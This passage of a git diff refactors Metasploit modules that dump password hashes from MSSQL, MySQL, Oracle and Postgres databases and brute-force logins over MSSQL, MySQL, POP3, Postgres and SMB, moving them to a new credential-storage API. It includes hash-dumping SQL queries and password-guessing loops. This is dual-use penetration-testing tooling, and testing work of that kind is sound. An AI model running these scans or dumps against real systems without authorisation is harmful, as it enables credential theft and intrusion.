Msf::Auxiliary 'Columns' => ['Username', 'Hash'] ) - hash_loot="" + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + mssql_hashes.each do |row| next if row[0].nil? or row[1].nil? next if row[0].empty? or row[1].empty? + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_type: :nonreplayable_hash, + private_data: "0x#{row[1]}", + username: row[0], + jtr_format: hashtype + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + tbl << [row[0], row[1]] print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}") end - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlhashes.txt" - store_loot(hashtype, "text/plain", datastore['RHOST'], tbl.to_csv, filename, "MS SQL Hashes", this_service) end #Grabs the user tables depending on what Version of MSSQL @@ -99,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary when "2000" results = mssql_query(mssql_2k_password_hashes())[:rows] - when "2005", "2008" + when "2005", "2008", "2012", "2014" results = mssql_query(mssql_2k5_password_hashes())[:rows] end diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 93c62447fc..30a5601d83 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -5,7 +5,8 @@ require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/mssql' class Metasploit3 < Msf::Auxiliary @@ -30,44 +31,82 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.") - each_user_pass { |user, pass| - do_login(user, pass, datastore['VERBOSE']) + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DOMAIN'] + ) + + scanner = Metasploit::Framework::LoginScanner::MSSQL.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30, + windows_authentication: datastore['USE_WINDOWS_AUTHENT'] + ) + + service_data = { + address: ip, + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id } - # The service should already be reported at this point courtesy of - # report_auth_info, but this is currently the only way to give it a - # name. - report_service({ - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'mssql' - }) - end - def do_login(user='sa', pass='', verbose=false) - vprint_status("#{rhost}:#{rport} - MSSQL - Trying username:'#{user}' with password:'#{pass}'") - begin - success = mssql_login(user, pass) + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public + } - if (success) - print_good("#{rhost}:#{rport} - MSSQL - successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'mssql', - :user => user.downcase, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return :next_user + if datastore['USE_WINDOWS_AUTHENT'] + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = result.credential.realm + end + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else - vprint_error("#{rhost}:#{rport} failed to login as '#{user}'") - return + login_data = { + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status + } + if datastore['USE_WINDOWS_AUTHENT'] + login_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + login_data[:realm_value] = result.credential.realm + end + invalidate_login(login_data) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} connection failed") - return :abort end end + end diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb index e249db4ff0..f213e8e428 100644 --- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb @@ -30,6 +30,35 @@ class Metasploit3 < Msf::Auxiliary return end + service_data = { + address: ip, + port: rport, + service_name: 'mysql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: datastore['PASSWORD'], + private_type: :password, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + #Grabs the username and password hashes and stores them as loot res = mysql_query("SELECT user,password from mysql.user") if res.nil? @@ -37,41 +66,41 @@ class Metasploit3 < Msf::Auxiliary return end - this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :name => 'mysql', - :proto => 'tcp' - ) + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mysql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + jtr_format: 'mysql,mysql-sha1', + module_fullname: self.fullname, + private_type: :nonreplayable_hash + } - #create a table to store data - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'MysQL Server Hashes', - 'Indent' => 1, - 'Columns' => ['Username', 'Hash'] - ) + credential_data.merge!(service_data) if res.size > 0 res.each do |row| - tbl << [row[0], row[1]] + credential_data[:username] = row[0] + credential_data[:private_data] = row[1] print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}") + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) end end - report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty? - - end - #Stores the Hash Table as Loot for Later Cracking - def report_hashes(hash_loot,service) - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_mysqlhashes.txt" - path = store_loot("mysql.hashes", "text/plain", datastore['RHOST'], hash_loot, filename, "MySQL Hashes",service) - print_status("Hash Table has been saved: #{path}") - - end end diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index b034b1d00a..8d7b4f4563 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -5,7 +5,8 @@ require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/mysql' class Metasploit3 < Msf::Auxiliary @@ -36,9 +37,69 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin if mysql_version_check("4.1.1") # Pushing down to 4.1.1. - each_user_pass { |user, pass| - do_login(user, pass) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::MySQL.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 + ) + + service_data = { + address: ip, + port: rport, + service_name: 'mysql', + protocol: 'tcp', + workspace_id: myworkspace_id } + + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public + } + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end + else print_error "#{target} - Unsupported target version of MySQL detected. Skipping." end @@ -98,36 +159,6 @@ class Metasploit3 < Msf::Auxiliary end end - def do_login(user='', pass='') - vprint_status("#{rhost}:#{rport} Trying username:'#{user}' with password:'#{pass}'") - begin - m = mysql_login(user, pass) - return :fail if not m - - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'mysql', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return :next_user - - rescue ::RbMysql::Error => e - vprint_error("#{rhost}:#{rport} failed to login: #{e.class} #{e}") - return :error - - rescue ::Interrupt - raise $! - - rescue ::Rex::ConnectionError - return :abort - - end - end end diff --git a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb index d23f8d88a8..8c14bbcf42 100644 --- a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb +++ b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %Q{ This module dumps the usernames and password hashes from Oracle given the proper Credentials and SID. - These are then stored as loot for later cracking. + These are then stored as creds for later cracking. }, 'Author' => ['theLightCosine'], 'License' => MSF_LICENSE @@ -91,23 +91,47 @@ class Metasploit3 < Msf::Auxiliary return end print_status("Hash table :\n #{tbl}") - report_hashes(tbl.to_csv, is_11g, ip, this_service) + report_hashes(tbl, is_11g, ip, this_service) end - def report_hashes(hash_loot, is_11g, ip, service) + def report_hashes(table, is_11g, ip, service) #reports the hashes slightly differently depending on the version #This is so that we know which are which when we go to crack them if is_11g==false - filename= "#{ip}-#{datastore['RPORT']}_oraclehashes.txt" - store_loot("oracle.hashes", "text/plain", ip, hash_loot, filename, "Oracle Hashes", service) - print_status("Hash Table has been saved") + jtr_format = "des" else - filename= "#{ip}-#{datastore['RPORT']}_oracle11ghashes.txt" - store_loot("oracle11g.hashes", "text/plain", ip, hash_loot, filename, "Oracle 11g Hashes", service) - print_status("Hash Table has been saved") + jtr_format = "raw-sha1" end + service_data = { + address: Rex::Socket.getaddress(ip), + port: service[:port], + protocol: service[:proto], + service_name: service[:name], + workspace_id: myworkspace_id + } + + table.rows.each do |row| + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + username: row[0], + private_data: row[1], + private_type: :nonreplayable_hash, + jtr_format: jtr_format + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) + end + print_status("Hash Table has been saved") end diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index fa04ff718a..707854948b 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'metasploit/framework/login_scanner/pop3' class Metasploit3 < Msf::Auxiliary @@ -51,76 +52,80 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - begin - print_status("Connecting to #{target}") - each_user_pass do |user, pass| - do_login(user, pass) - end - end - rescue ::Rex::ConnectionError - rescue ::Exception => e - vprint_error("#{target} #{e.to_s} #{e.backtrace}") - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - def pop3_send(data=nil, con=true) - begin - @result='' - @coderesult='' - if (con) - @connected=false - connect - select(nil,nil,nil,0.4) + scanner = Metasploit::Framework::LoginScanner::POP3.new( + host: ip, + port: rport, + ssl: datastore['SSL'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + ) + + scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + do_report(result) + next + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'" end - @connected=true - sock.put(data) - @result=sock.get_once - rescue ::Exception => err - print_error("Error: #{err.to_s}") + + # If we got here, it didn't work + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) end end - def do_login(user=nil,pass=nil) - begin - pop3_send(nil,true) # connect Only - if @result !~ /^\+OK (.*)/ - print_error("POP3 server does not appear to be running") - return :abort - end - - vprint_status("#{target} - Trying user:'#{user}' with password:'#{pass}'") - cmd = "USER #{user}\r\n" - pop3_send(cmd,!@connected) - if @result !~ /^\+OK (.*)/ - vprint_error("#{target} - Rejected user: '#{user}'") - return :fail - else - cmd = "PASS #{pass}\r\n" - pop3_send(cmd,!@connected) - if @result !~ /^\+OK (.*)/ - vprint_error("#{target} - Failed login for '#{user}' : '#{pass}'") - if (@connected) - disconnect # Some servers disconnect the client after wrongs attempts - @connected = false - end - return :fail - else - print_good("#{target} - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'pop3', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - disconnect - @connected = false - return :next_user - end - end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end + def service_name + datastore['SSL'] ? 'pop3s' : 'pop3' end + + def do_report(result) + service_data = { + address: rhost, + port: rport, + service_name: service_name, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + end diff --git a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb index 93360ff4fb..f1079b15ed 100644 --- a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb @@ -35,12 +35,42 @@ class Metasploit3 < Msf::Auxiliary #Query the Postgres Shadow table for username and password hashes and report them res = postgres_query('SELECT usename, passwd FROM pg_shadow',false) + service_data = { + address: ip, + port: rport, + service_name: 'postgres', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: datastore['PASSWORD'], + private_type: :password, + username: datastore['USERNAME'], + realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE, + realm_value: datastore['DATABASE'] + } + + credential_data.merge!(service_data) + #Error handling routine here, borrowed heavily from todb case res.keys[0] when :conn_error print_error("A Connection Error occured") return when :sql_error + # We know the credentials worked but something else went wrong + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + case res[:sql_error] when /^C42501/ print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions." @@ -50,15 +80,19 @@ class Metasploit3 < Msf::Auxiliary return end when :complete + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + # We know the credentials worked and have admin access because we got the hashes + login_data[:access_level] = 'Admin' + create_credential_login(login_data) print_status("Query appears to have run successfully") end - this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :name => 'postgres', - :proto => 'tcp' - ) tbl = Rex::Ui::Text::Table.new( 'Header' => 'Postgres Server Hashes', @@ -66,6 +100,22 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Username', 'Hash'] ) + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'postgres', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + jtr_format: 'raw-md5,postgres', + module_fullname: self.fullname, + private_type: :nonreplayable_hash + } + + credential_data.merge!(service_data) res[:complete].rows.each do |row| @@ -73,23 +123,24 @@ class Metasploit3 < Msf::Auxiliary next if row[0].empty? or row[1].empty? password = row[1] password.slice!(0,3) + + credential_data[:username] = row[0] + credential_data[:private_data] = password + + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + tbl << [row[0], password] end print_good("#{tbl.to_s}") - report_hash(tbl.to_csv,this_service) - end - #Reports the Stolen Hashes back to the Database for later cracking - def report_hash(hashtable,service) - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_postgreshashes.txt" - path = store_loot("postgres.hashes", "text/plain", datastore['RHOST'], hashtable, filename, "Postgres Hashes",service) - print_status("Hash Table has been saved: #{path}") - - end - - end diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 91bc0559cb..01d6ee32c2 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -4,7 +4,8 @@ ## require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/postgres' class Metasploit3 < Msf::Auxiliary @@ -48,11 +49,72 @@ class Metasploit3 < Msf::Auxiliary # Loops through each host in turn. Note the current IP address is both # ip and datastore['RHOST'] def run_host(ip) - each_user_pass { |user, pass| - datastore['USERNAME'] = user - datastore['PASSWORD'] = pass - do_login(user,pass) - } + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DATABASE'] + ) + + scanner = Metasploit::Framework::LoginScanner::Postgres.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 + ) + + service_data = { + address: ip, + port: rport, + service_name: 'postgres', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE, + realm_value: result.credential.realm, + username: result.credential.public + } + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE, + realm_value: result.credential.realm, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end + end # Alias for RHOST @@ -65,66 +127,6 @@ class Metasploit3 < Msf::Auxiliary datastore['RPORT'] end - # Actually do all the login stuff. Note that "verbose" is really pretty - # verbose, since postgres_login also makes use of the verbose value - # to print diagnostics for other modules. - def do_login(user=nil,pass=nil) - database = datastore['DATABASE'] - begin - msg = "#{rhost}:#{rport} Postgres -" - vprint_status("#{msg} Trying username:'#{user}' with password:'#{pass}' on database '#{database}'") - # Here's where the actual connection happens. - result = postgres_login( - :db => database, - :username => user, - :password => pass - ) - case result - when :error_database - print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' failed.)") - do_report_auth_info(user,pass,database,false) - return :next_user # This is a success for user:pass! - when :error_credentials - vprint_error("#{msg} Username/Password failed.") - return :failed - when :connected - print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' succeeded.)") - do_report_auth_info(user,pass,database,true) - postgres_logout - return :next_user - when :error - vprint_error("#{msg} Unknown error encountered, giving up on host") - return :done - end - rescue Rex::ConnectionError - vprint_error "#{rhost}:#{rport} Connection Error: #{$!}" - return :done - end - end - # Report the service state - def do_report_postgres - report_service( - :host => rhost, - :port => rport, - :name => "postgres" - ) - end - - def do_report_auth_info(user,pass,db,db_ok) - do_report_postgres - - result_hash = { - :host => rhost, - :port => rport, - :sname => "postgres", - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - } - result_hash[:user] = "#{db}/#{user}" if db_ok - report_auth_info result_hash - end end diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 6e5637e73e..ea30c0fec1 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -4,6 +4,8 @@ ## require 'msf/core' +require 'metasploit/framework/login_scanner/smb' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -15,8 +17,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - attr_reader :accepts_bogus_domains - def proto 'smb' end @@ -50,30 +50,15 @@ class Metasploit3 < Msf::Auxiliary ) deregister_options('RHOST','USERNAME','PASSWORD') - @accepts_guest_logins = {} - - @correct_credentials_status_codes = [ - "STATUS_INVALID_LOGON_HOURS", - "STATUS_INVALID_WORKSTATION", - "STATUS_ACCOUNT_RESTRICTION", - "STATUS_ACCOUNT_EXPIRED", - "STATUS_ACCOUNT_DISABLED", - "STATUS_ACCOUNT_RESTRICTION", - "STATUS_PASSWORD_EXPIRED", - "STATUS_PASSWORD_MUST_CHANGE", - "STATUS_LOGON_TYPE_NOT_GRANTED" - ] - # These are normally advanced options, but for this module they have a # more active role, so make them regular options. register_options( [ OptString.new('SMBPass', [ false, "SMB Password" ]), OptString.new('SMBUser', [ false, "SMB Username" ]), - OptString.new('SMBDomain', [ false, "SMB Domain", '']), - OptBool.new('CHECK_ADMIN', [ false, "Check for Admin rights", false]), - OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]), - OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]) + OptString.new('SMBDomain', [ false, "SMB Domain", '' ]), + OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]), + OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]) ], self.class) end @@ -83,250 +68,134 @@ class Metasploit3 < Msf::Auxiliary domain = datastore['SMBDomain'] || "" - if accepts_bogus_logins?(domain) - print_error("#{smbhost} - This system accepts authentication with any credentials, brute force is ineffective.") - return - end + @scanner = Metasploit::Framework::LoginScanner::SMB.new( + host: ip, + port: rport, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + ) - unless datastore['RECORD_GUEST'] - if accepts_guest_logins?(domain) - print_status("#{ip} - This system allows guest sessions with any credentials, these instances will not be recorded.") + bogus_result = @scanner.attempt_bogus_login(domain) + if bogus_result.success? + if bogus_result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST + print_status("#{ip} - This system allows guest sessions with any credentials") + else + print_error("#{ip} - This system accepts authentication with any credentials, brute force is ineffective.") + return end end - begin - each_user_pass do |user, pass| - result = try_user_pass(domain, user, pass) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['SMBPass'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['SMBUser'], + user_as_pass: datastore['USER_AS_PASS'], + realm: domain, + ) + + @scanner.cred_details = cred_collection + + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}" + report_creds(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' #{result.access_level}" + report_creds(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm, + status: result.status + ) end - rescue ::Rex::ConnectionError - nil end end - def check_login_status(domain, user, pass) - connect() - status_code = "" - begin - simple.login( - datastore['SMBName'], - user, - pass, - domain, - datastore['SMB::VerifySignature'], - datastore['NTLM::UseNTLMv2'], - datastore['NTLM::UseNTLM2_session'], - datastore['NTLM::SendLM'], - datastore['NTLM::UseLMKey'], - datastore['NTLM::SendNTLM'], - datastore['SMB::Native_OS'], - datastore['SMB::Native_LM'], - {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - ) - - # Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect: - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - status_code = 'STATUS_SUCCESS' - - if datastore['CHECK_ADMIN'] - status_code = :not_admin - # Drop the existing connection to IPC$ in order to connect to admin$ - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - begin - simple.connect("\\\\#{datastore['RHOST']}\\admin$") - status_code = :admin_access - simple.disconnect("\\\\#{datastore['RHOST']}\\admin$") - rescue - status_code = :not_admin - ensure - begin - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - rescue ::Rex::Proto::SMB::Exceptions::NoReply - end - end - end - - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - status_code = e.get_error(e.error_code) - rescue ::Rex::Proto::SMB::Exceptions::LoginError => e - status_code = e.error_reason - rescue ::Rex::Proto::SMB::Exceptions::InvalidWordCount => e - status_code = e.get_error(e.error_code) - rescue ::Rex::Proto::SMB::Exceptions::NoReply - ensure - disconnect() - end - - return status_code - end - - # If login is succesful and auth_user is unset - # the login was as a guest user. - def accepts_guest_logins?(domain) - guest = false - user = Rex::Text.rand_text_alpha(8) - pass = Rex::Text.rand_text_alpha(8) - - guest_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && simple.client.auth_user.nil?) - - if guest_login - @accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost) - report_note( - :host => rhost, - :proto => 'tcp', - :sname => 'smb', - :port => datastore['RPORT'], - :type => 'smb.account.info', - :data => 'accepts guest login from any account', - :update => :unique_data - ) - end - - return guest_login - end - - # If login is successul and auth_user is set - # then bogus creds are accepted. - def accepts_bogus_logins?(domain) - user = Rex::Text.rand_text_alpha(8) - pass = Rex::Text.rand_text_alpha(8) - bogus_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && !simple.client.auth_user.nil?) - return bogus_login - end # This logic is not universal ie a local account will not care about workgroup # but remote domain authentication will so check each instance - def accepts_bogus_domains?(user, pass, rhost) - domain = Rex::Text.rand_text_alpha(8) - status = check_login_status(domain, user, pass) - - bogus_domain = valid_credentials?(status) - if bogus_domain - vprint_status "Domain is ignored" - end - - return valid_credentials?(status) - end - - def valid_credentials?(status) - - case status - when 'STATUS_SUCCESS', :admin_access, :not_admin - return true - when *@correct_credentials_status_codes - return true - else - return false - end - - end - - def try_user_pass(domain, user, pass) - # Note that unless PRESERVE_DOMAINS is true, we're more - # than happy to pass illegal usernames that contain - # slashes. - if datastore["PRESERVE_DOMAINS"] - d,u = domain_username_split(user) - user = u - domain = d if d - end - - user = user.to_s.gsub(//i,"") - status = check_login_status(domain, user, pass) - - # Match original output message - if domain.empty? || domain == "." - domain_part = "" - 